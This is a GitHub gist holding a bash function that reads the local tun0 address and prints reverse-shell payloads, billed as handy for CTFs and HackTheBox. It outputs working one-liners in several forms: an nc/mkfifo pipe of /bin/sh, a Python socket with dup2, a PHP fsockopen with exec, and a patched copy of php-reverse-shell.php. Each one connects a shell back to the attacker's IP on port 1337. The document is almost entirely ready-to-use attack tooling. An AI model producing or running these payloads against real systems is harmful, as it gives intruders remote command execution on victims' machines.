Skip to content

Instantly share code, notes, and snippets.

@AvasDream
Last active May 29, 2019 15:08
Show Gist options
  • Save AvasDream/13ec3b38701ef343c430866f305433b4 to your computer and use it in GitHub Desktop.
Save AvasDream/13ec3b38701ef343c430866f305433b4 to your computer and use it in GitHub Desktop.
Bash Function to create a reverseshell from tun0 interface. Might come in handy in CTFs or HackTheBox.
  • Create msf rc file for standard msfvenom binaries
function revshell() {
# $1 language
# Default tun0 1337

INF=tun0
PORT=1337

if [ -z "$1" ]
then
 echo "Usage: revshell <Language>"
 echo "Language= nc || python || php-short || php-long"
 return
fi

LANG=$1

IP=$(ifconfig $INF | grep netmask | sed  's/^ *//g' | cut -d " " -f2)

case $LANG in 
"nc")
  echo "rm /tmp/ava;mkfifo /tmp/ava;cat /tmp/ava|/bin/sh -i 2>&1|nc $IP $PORT >/tmp/ava"
  ;;
"python")
  echo python -c \'import socket,subprocess,os\;s=socket.socket\(socket.AF_INET, socket.SOCK_STREAM\)\;s.connect\(\(\"$IP\",$PORT\)\)\;os.dup2\(s.fileno\(\),1\)\;os.dup2\(s.fileno\(\),2\)\;p=subprocess.call\(\[\"/bin/sh\",\"-i\"\]\)\;\' 
  ;;
"php-short")
  echo php -r \'\$sock=fsockopen\(\"$IP\",$PORT\)\;exec\(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\"\)\;\' 
  ;;
"php-long")
  cat /usr/share/webshells/php/php-reverse-shell.php | sed "s/127.0.0.1/$IP/g" | sed "s/1234/$PORT/"
  ;;
*)
  echo "Wrong Language!"
esac
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment